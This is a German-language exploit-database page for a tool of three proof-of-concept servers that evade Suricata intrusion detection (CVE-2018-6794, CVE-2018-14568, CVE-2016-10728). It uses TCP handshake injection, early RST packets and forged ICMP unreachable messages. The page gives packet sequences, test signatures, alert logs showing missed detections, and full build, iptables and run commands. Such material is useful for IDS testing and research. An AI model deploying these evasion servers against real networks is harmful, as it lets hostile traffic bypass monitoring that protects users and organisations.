## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KIRILLWOW-IDS_BYPASS
## Haftungsausschluss
Diese Programme sind NUR fĂĽr Bildungszwecke gedacht. Verwenden Sie sie nicht ohne Erlaubnis.
## inject_server: Proof-Of-Concept fĂĽr CVE-2018-6794.
Wenn Sie als Server die normale TCP-3-Wege-Handshake-Reihenfolge unterbrechen und einige Antwortdaten vor Abschluss des 3whs einfügen, werden die Daten vom Client trotzdem empfangen, aber einige IDS-Engines überspringen möglicherweise die Inhaltsprüfung.
root@kitploit:~
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [SYN, ACK] [Seq=0 Ack=1] <- Evil Server # Server responses as it should, but ...
Client <- [PSH, ACK] [Seq=1 Ack=1] <- Evil Server # It sends HTTP response before the 3whs is completed
Client <- [FIN, ACK] [Seq=83 Ack=1] <- Evil Server # Moreover it finishes TCP session
Client -> [ACK] [Seq=1 Ack=84] -> Evil Server # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client -> [PSH, ACK] [Seq=1 Ack= 4] -> Evil Server # Then it sends a HTTP GET request as nothing wrong happened
Suricata IDS < 4.0.4 ist anfällig für dieses Problem: HTTP- oder Stream-TCP-Signaturen werden auf den injizierten Inhalt nicht alarmieren. Wir sehen keine Alarme auf böse HTTP-Antwortdaten, wenn wir die folgenden Signaturen auf den PoC-Netzwerkverkehr anwenden:
root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
03/02/2018-11:08:13.012990 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914 [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
## rst_server: Proof-Of-Concept fĂĽr CVE-2018-14568.
Windows-Clients können TCP-Daten verarbeiten, selbst wenn sie kurz nach einem TCP-RST-Paket eintreffen. Einige IDS verarbeiten dies korrekt und versuchen, Daten nach RST zu matchen, aber einige beenden die Inspektion des TCP-Streams, sobald ein RST empfangen wurde.
root@kitploit:~
Client -> [SYN] [Seq=0 Ack=0] -> Evil Server # Client starts a TCP 3-way handshake
Client <- [RST, ACK] [Seq=0x0 Ack=1] <- Evil Server # Server responses with TCP RST
Client <- [SYN, ACK] [Seq=1 Ack=1] <- Evil Server # And SYN-ACK shortly after RST
... 3whs continues ...
Suricata IDS ist weiterhin anfällig für dieses Problem: HTTP- oder Stream-TCP-Signaturen werden auf diese TCP-Sitzung nicht alarmieren.
root@kitploit:~
alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )
05/03/2018-19:13:43.270632 [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128 [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434
## icmp_server: Proof-Of-Concept fĂĽr CVE-2016-10728.
Der Server sollte mit einer ICMP-Nachricht vom Typ "Destination Unreachable", Code "Port Unreachable" antworten, wenn ein UDP-Paket an einen geschlossenen UDP-Port gesendet wurde. IDS können ICMP-Unreachable-Antworten ähnlich wie TCP-RST-Pakete interpretieren und die Verkehrsinspektion dieses UDP-Streams stoppen oder einschränken. Wenn eine normale UDP-Antwort der ICMP-Nachricht folgt, umgeht der Angreifer die UDP-Prüfung des Verkehrs von seinem Server. Beachten Sie, dass normale Clients Verbindungen schließen, wenn ICMP Dest. Unreachable empfangen wurde, daher tauschen wir IP-Adressen und UDP-Ports im angehängten UDP der ICMP-Nachricht aus, sodass der Client eine solche ICMP-Nachricht nicht akzeptiert, das IDS jedoch schon.
root@kitploit:~
Client -> [UDP Req] -> Evil Server # Client starts UDP session by sending a packet
Client <- [ICMP] [Type=3, Code=3] <- Evil Server # Server responses with *improved* ICMP Destination Unreachable first
Client <- [UDP Resp] <- Evil Server # And with UDP answer as usual
Suricata IDS < 3.1.2 ist anfällig für dieses Problem: UDP-Signaturen werden auf Pakete vom Evil Server nicht matchen.
root@kitploit:~
alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )
05/03/2018-03:44:11.016635 [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80
Diese Techniken können auch auf andere Intrusion-Detection- oder Netzwerküberwachungswerkzeuge und -systeme angewendet werden.
## Autor und Danksagungen
Kirill Shipulin von Positive Technologies (@kirill_wow) Folien meines Hackfest-2018-Vortrags verfĂĽgbar
## Verwendung
root@kitploit:~
git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80
